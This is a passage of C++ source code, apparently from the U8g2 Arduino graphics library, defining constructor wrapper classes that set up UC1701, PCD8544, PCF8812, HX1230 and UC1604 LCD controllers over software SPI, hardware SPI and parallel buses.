reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_2_6800 : public U8G2 {\n  public: U8G2_UC1701_MINI12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_2_8080 : public U8G2 {\n  public: U8G2_UC1701_MINI12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_F_6800 : public U8G2 {\n  public: U8G2_UC1701_MINI12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_F_8080 : public U8G2 {\n  public: U8G2_UC1701_MINI12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_PCD8544_84X48_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_PCD8544_84X48_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcd8544_84x48_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_PCF8812_96X65_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_PCF8812_96X65_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_pcf8812_96x65_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_HX1230_96X68_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_HX1230_96X68_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_HX1230_96X68_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_HX1230_96X68_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_HX1230_96X68_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_HX1230_96X68_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_HX1230_96X68_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_HX1230_96X68_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_HX1230_96X68_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_HX1230_96X68_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_HX1230_96X68_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_HX1230_96X68_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_HX1230_96X68_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_HX1230_96X68_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_HX1230_96X68_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_HX1230_96X68_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hx1230_96x68_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n  